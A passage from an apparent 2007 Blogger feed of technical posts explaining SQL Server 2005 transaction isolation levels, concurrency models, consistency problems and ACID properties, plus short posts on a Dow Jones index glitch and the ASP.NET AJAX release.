RangeS-S&lt;/li&gt;&lt;li&gt;RangeX-U – Conversion: RangeIn-Null + RangeS-U&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-6160096742917706095?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/6160096742917706095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=6160096742917706095' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6160096742917706095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6160096742917706095'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/locking-in-sql-server-2005.html' title='Locking in SQL Server 2005'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-6694530885885333414</id><published>2007-04-21T21:51:00.000-04:00</published><updated>2007-04-28T02:01:17.788-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Transaction Isolation'/><category scheme='http://www.blogger.com/atom/ns#' term='Consistency Problems'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Transaction Isolation Levels in SQL Server 2005</title><content type='html'>If the effects of your transactions are important to you, its important to understand what problems can arise from concurrency and what steps must be taken to avoid these consistency problems.  Below I've listed the various Transaction Isolation Levels available to you in SQL Server 2005&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Uncommitted Read&lt;/span&gt;&lt;br /&gt;In Uncommitted Read isolation, all the dependency/consistency problems/behaviors except lost updates can occur. Queries will read uncommitted data, and both non-repeatable reads and phantoms are possible.  Uncommitted read Is implemented by allowing read operations to not take any locks, since no locks are requested, it won’t be blocked by conflicting locks and acquired by other processes.  Using uncommitted reads, you trade off strongly consistent data for high concurrency of the system.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Read Committed (locking / pessimistic)&lt;/span&gt;&lt;br /&gt;Read committed isolation ensures that an operation never reads data that another application has changed has not yet committed.  With read committed (locking) if another transaction is updating data and consequently has exclusive locks on data rows, your transaction must wait for those locks to be released before you can use that data (whether or not you are reading or writing that data).  Also your transaction must put share locks on the data that will be visited, however these locks can be removed as soon as the data is read rather then waiting till the end of the transaction.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Read Committed (snapshot / optimistic)&lt;/span&gt;&lt;br /&gt;Read committed (snapshot) also ensures that an operation never reads uncommitted data, but not by forcing other processes to wait: every time a row is updated the SQL server generates a version of the changed row with its previous committed values.  The data being changed is still locked but other processes can see the previous versions of the data as it was before the update operation began.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Repeatable Read&lt;/span&gt;&lt;br /&gt;This isolation level adds to the properties of committed read by ensuring that if a transaction revists data or a query is reissued the data will not have changed.  The cost of this extra safeguard is that all shared locks in a transaction must be held until completion (either COMMIT or ROLLBACK) of the transaction.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Snapshot&lt;/span&gt;&lt;br /&gt;Snapshot is a optimistic isolation level, like read commuted (snapshot) it allows processes to read older versions of committed data if the current version is locked, the difference between snapshot and read committed (snapshot) has to do with how old the older versions have to be. Although behaviors prevented by snapshot isolation are the same as those prevented by Serializable snapshot is not truly a Serializable isolation level.  With snapshot isolation it is possible to have two transactions executing simultaneously that give us a result that is not possible in serial execution&lt;br /&gt;Ex/&lt;br /&gt;&lt;br /&gt;&lt;table class="MsoTableGrid" style="border: medium none ; margin-left: 1.45in; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0in 5.4pt; width: 2.5in;" valign="top" width="240"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Tranasaction 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: solid solid solid none; padding: 0in 5.4pt; width: 2.2in;" valign="top" width="211"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Transaction 2&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="border-style: none solid solid; padding: 0in 5.4pt; width: 2.5in;" valign="top" width="240"&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Use pubs&lt;br /&gt;declare @price money&lt;br /&gt;begin transaction&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none solid solid none; padding: 0in 5.4pt; width: 2.2in;" valign="top" width="211"&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Use pubs&lt;br /&gt;declare @price money&lt;br /&gt;begin transaction&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="border-style: none solid solid; padding: 0in 5.4pt; width: 2.5in;" valign="top" width="240"&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Select @price = price&lt;br /&gt;From titles&lt;br /&gt;Where title_id = 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none solid solid none; padding: 0in 5.4pt; width: 2.2in;" valign="top" width="211"&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Select @price = price&lt;br /&gt;From titles&lt;br /&gt;Where title_id = 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="border-style: none solid solid; padding: 0in 5.4pt; width: 2.5in;" valign="top" width="240"&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Update titles&lt;br /&gt;set price = @price&lt;br /&gt;Where title_id = 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none solid solid none; padding: 0in 5.4pt; width: 2.2in;" valign="top" width="211"&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Update titles&lt;br /&gt;set price = @price&lt;br /&gt;Where title_id = 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="border-style: none solid solid; padding: 0in 5.4pt; width: 2.5in;" valign="top" width="240"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Commit Transaction&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none solid solid none; padding: 0in 5.4pt; width: 2.2in;" valign="top" width="211"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Commit Transaction&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;br /&gt;There is no serial execution for these 2 queries wher the 2 titles won’t end up with the same price&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Serializable&lt;/span&gt;&lt;br /&gt;The Serializable isolation level adds to the properties of repeatable read by ensuring that if a query is reissued, rows will not have been added in the interim, IE phantoms will not appear.  Serializable is the strongest of the pessimistic isolation levels because it prevents all the possible undesirable behaviors.  The cost of the added safeguard of preventing phantoms is similar to the repeatable read, all the shared locks in the transaction must be held until completion of the transaction.  In addition, enforcing the Serializable isolation level requires that you not only lock data that has been read, but also lock data that does not exist.  The Serializable name comes from the fact that running multiple Serializable transactions at the same time is the equivalent of running them one at a time (serially)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-6694530885885333414?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/6694530885885333414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=6694530885885333414' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6694530885885333414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6694530885885333414'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/transaction-isolation-levels-in-sql.html' title='Transaction Isolation Levels in SQL Server 2005'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-7240757120587377239</id><published>2007-04-20T21:45:00.000-04:00</published><updated>2007-04-26T01:29:49.161-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Concurrency'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><title type='text'>Difference Between Pessimistic Concurrency and Optimistic Concurrency</title><content type='html'>In Pessimistic concurrency the server acquires locks to block access to data that another process is using. Pessimistic concurrency avoids conflicts by acquiring locks on data that is being read, so no other process can modify that data, it also acquires locks on data being modified so no other processes can access that data for either reading or modifying.  Readers block writers and writers block readers.&lt;br /&gt;&lt;br /&gt;In Optimistic Concurrency the server uses row versioning to allow data readers to see the state of the data before the modifications occur.  Older versions of data rows are saved so a process reading data can see the data as it was when the process started reading and not be affected by any changes being made to that data. A process that modifies data is unaffected by processes reading the data because the readier is accessing a saved version of the data rows, readers do not block writers and writers do not block readers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-7240757120587377239?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/7240757120587377239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=7240757120587377239' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7240757120587377239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7240757120587377239'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/difference-between-pessimistic.html' title='Difference Between Pessimistic Concurrency and Optimistic Concurrency'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-1741511577166175291</id><published>2007-04-19T21:47:00.000-04:00</published><updated>2007-04-26T01:29:23.173-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Consistency Problems / Dependency Behaviors in Database Systems</title><content type='html'>Since database systems must have concurrency (allowing multiple people/connections/users access to the data at the same time), certain problems arise when transactions are ran in parallel instead of serially.  Each of the following are dependency/consistency problems/behaviors, and it is key to understand each of these in order to fully understand Transaction Isolation and various locking/versioning methods used to prevent these potential problems&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lost Updates:&lt;/span&gt;&lt;br /&gt;This behavior occurs when two processes read the same data and both manipulate the data, changing its value, and then both try to update the original data to the new value.  The second process might completely overwrite the first update.  These behaviors should be avoided in almost all cases&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Dirty Reads:&lt;/span&gt;&lt;br /&gt;This behavior occurs when a process reads uncommitted data.  If one process has changed data but not yet committed the change, another process reading the data will read it in a inconsistent state.  The process updating the data has no control over whether another process can read its data before its committed, its up the to the process reading the data to decide whether or not it wants to read the data before it is committed&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Non-repeatable Reads:&lt;/span&gt;&lt;br /&gt;Also known as inconsistent analysis, a read is a non-repeatable read if a process might get different values when reading the same resource in two separate reads within the same transaction.  This can happen when another process changes the data in between the reads that the first process is doing.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Phantoms:&lt;/span&gt;&lt;br /&gt;This behavior occurs when membership in a set changes.  A phantom occurs if two SELET operations using the same predicate (such as count(members) &gt; 10)in the same transaction return a different number of rows.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-1741511577166175291?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/1741511577166175291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=1741511577166175291' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1741511577166175291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1741511577166175291'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/consistency-problems-dependency.html' title='Consistency Problems / Dependency Behaviors in Database Systems'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-3227775767344415957</id><published>2007-04-18T21:46:00.000-04:00</published><updated>2007-04-26T01:28:45.002-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ACID Properties'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><title type='text'>ACID Properties</title><content type='html'>&lt;span style=";font-family:Arial;font-size:100%;"  &gt;Transaction processing guarantees the consistency and recoverability of a database ensuring that all transactions are performed as a single unit of work even in the presence of logical or physical failure. Such transactions are said to have ACID properties&lt;/span&gt;, here are the common definitions of these four ACID properties.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Atomicity:&lt;/span&gt;&lt;br /&gt;Atomicity means that each transaction si treated as all or nothing, it either commits or aborts; if it commits the effects remain, if it aborts then all the effects are undone.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Consistency:&lt;/span&gt;&lt;br /&gt;The consistency property ensures that a transaction won’t allow the system to arrive at an incorrect logical state – the data must always be logically correct. Constraints and rules are honored even in the event of system failure.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Isolation:&lt;/span&gt;&lt;br /&gt;Isolation separates concurrent transactions from the updates of other incomplete transactions.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Durability:&lt;/span&gt;&lt;br /&gt;After a transaction commits the effects of the transaction must persist even if system failure occurs.  If a system failure occurs while a transaction is in progress the transaction is completely undone, leaving no partial effects on the data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-3227775767344415957?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/3227775767344415957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=3227775767344415957' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3227775767344415957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3227775767344415957'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/acid-properties.html' title='ACID Properties'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-8200587624691635308</id><published>2007-04-18T21:41:00.000-04:00</published><updated>2007-04-22T21:58:47.615-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><category scheme='http://www.blogger.com/atom/ns#' term='Computer Science'/><title type='text'>SQL Server &amp; Database Systems</title><content type='html'>I haven't posted to my blog for a while, but i'd like to get started again.  There has yet to be any focus to this blog so i'd like to make it a bit more academic and start focusing on: Computer Science issues, database systems, and computer system design.  Hopefully this will help document some of my knowledge and help someone solve some problems similar to what i encounter.&lt;br /&gt;&lt;br /&gt;I'd like to first start talking about SQL Server 2005, and go through some Database Systems Knowledge, this will help me solidify my knowledge in these categories and hopefully open up some topics for discussion.  Enjoy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-8200587624691635308?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/8200587624691635308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=8200587624691635308' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/8200587624691635308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/8200587624691635308'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/sql-server-database-systems.html' title='SQL Server &amp; Database Systems'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-1855021290931650933</id><published>2007-02-28T14:21:00.001-05:00</published><updated>2007-04-25T15:32:59.884-04:00</updated><title type='text'>Dow Jones Computer Glitch Explained</title><content type='html'>Even though the dow jones constituents are only 30 stocks, they represent some of the most heavily traded stocks in the market. Yesterday the total volume for the 30 DJIA stocks was 740million representing nearly 25% of the 2.4billion shares traded on 2/27.&lt;br /&gt;&lt;br /&gt;The total daily average from 2006 for these stocks was 430million shares per day; yesterday there was nearly a 90% increase in the number of shares traded.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_7NyTnt202Ww/ReXVY6kOXLI/AAAAAAAAACk/ETOxJ7_JJsU/s1600-h/DJIALag+copy.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_7NyTnt202Ww/ReXVY6kOXLI/AAAAAAAAACk/ETOxJ7_JJsU/s400/DJIALag+copy.jpg" alt="" id="BLOGGER_PHOTO_ID_5036666382298537138" border="0" /&gt;&lt;/a&gt;However the problem yesterday  &lt;span style="font-weight: bold;"&gt;wasn't&lt;/span&gt; that the sheer volume of trades that overwhelmed the computer that calculates the index.  I believe that there was some other problem (probably network or database access) on the computer that created a lag between the real index value and calculated index value.  The lag in calculation probably began to rise slowly, Once JDIArealized that the DJIA was being incorrectly calculated they failed over to a different computer to calculate the index, this is when they 'drop' happened, the perceived effect was a 200point drop within a minute.  Other index calculations at other sites correctly determined the dow jones industrial average index, so i believe this incident was isolated to DJIA's primary index machine.&lt;br /&gt;&lt;br /&gt;I'm pretty sure they'll take measures to make sure this doesn't happen again, the psychological affect of the corrected index (perceived instant drop) probably has wide reaching effects.&lt;br /&gt;&lt;br /&gt;Too bad they aren't using the same computers and the &lt;a href="http://www.microsoft.com/windowsserver/facts/default.mspx"&gt;London Stock Exchange&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Update: 4/25&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;In my original article I incorrectly wrote that it was NYSE's computers which had the glitch.  &lt;a href="http://hybridtalk.nyse.com" rel="nofollow" onclick=""&gt;Ray Pellecchia&lt;/a&gt;    from NYSE contacted me to let me know that this was an incorrect assumption.&lt;br /&gt;However he also mentioned that:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;New York Stock Exchange does not calculate or manage the Dow Jones Industrial Average; Dow Jones does. The index issues you cited that day were at Dow Jones, not NYSE.&lt;br /&gt;&lt;br /&gt;That same day, NYSE later experienced some system queuing due to record message traffic. We immediately addressed that problem. The fact that the two things happened on the same day led to some confusion.&lt;/blockquote&gt;Sorry for the confusion hopefully i haven't tarnished the reputation of NYSE Euronext&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Full Disclosure: I am currently NYX shareholder&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-1855021290931650933?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/1855021290931650933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=1855021290931650933' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1855021290931650933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1855021290931650933'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/02/nyse-computer-glitch-explained.html' title='Dow Jones Computer Glitch Explained'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_7NyTnt202Ww/ReXVY6kOXLI/AAAAAAAAACk/ETOxJ7_JJsU/s72-c/DJIALag+copy.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-7781674561206847578</id><published>2007-01-23T14:02:00.001-05:00</published><updated>2007-01-23T14:02:40.490-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='atlas'/><category scheme='http://www.blogger.com/atom/ns#' term='asp.net'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><title type='text'>AJAX.ASP.NET 1.0 Released!</title><content type='html'>AJAX.ASP.NET 1.0 (formally known as ATLAS) has been released today 1/23.  Check out more info &lt;a href="http://ajax.asp.net/"&gt;here&lt;/a&gt;.  This is essential for anyone making modern day web sites in asp.net.&lt;br /&gt;&lt;br /&gt;ASP.NET AJAX is a &lt;a href="http://ajax.asp.net/downloads/default.aspx?tabid=47"&gt;free framework&lt;/a&gt; for quickly creating a new generation of more efficient, more interactive and highly-personalized Web experiences that work across all the most popular browsers.&lt;br /&gt;&lt;br /&gt;Go right to the &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6&amp;amp;displaylang=en"&gt;download page&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-7781674561206847578?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/7781674561206847578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=7781674561206847578' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7781674561206847578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7781674561206847578'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/01/ajaxaspnet-10-released.html' title='AJAX.ASP.NET 1.0 Released!'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry></feed>
